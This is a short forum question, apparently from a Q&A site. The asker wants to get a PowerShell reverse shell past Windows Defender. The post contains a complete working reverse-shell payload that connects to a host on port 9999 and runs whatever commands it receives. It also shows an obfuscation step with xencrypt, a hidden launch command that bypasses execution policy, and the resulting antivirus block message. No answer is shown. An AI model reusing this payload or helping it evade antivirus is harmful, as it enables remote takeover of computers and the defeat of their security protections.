title: powershell reverse shell AV evasion
body: <p>I'm trying to run a powershell reverse shell on windows 10. Anyway everytime it is blocked by Wndows Defender. How can I bypass it?</p>
  
  <p>In a file I store the payload <code>$client = New-Object System.Net.Sockets.TCPClient('192.168.1.54',9999);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2&gt;&amp;1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '&gt; ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();</code></p>
  
  <p>then I use xencrypt (<a href="https://github.com/the-xentropy/xencrypt" rel="nofollow noreferrer">https://github.com/the-xentropy/xencrypt</a>) to obfuscate the code but when I 
  run <code>powershell  -NoP -NonI -W Hidden -Exec Bypass .\revshell.ps1</code></p>
  
  <p>I get <code>Questo script include contenuto dannoso ed è stato bloccato dal software antivirus.
  In riga:18 car:1
  + IEX($piifnga)
  + ~~~~~~~~~~~~~
      + CategoryInfo          : ParserError: (:) [Invoke-Expression], ParseException
      + FullyQualifiedErrorId : ScriptContainedMaliciousContent,Microsoft.PowerShell.Commands.InvokeExpressionCommand</code></p>
  
  <p><strong>QUESTION:</strong>  is  there a way to bypass this check?</p>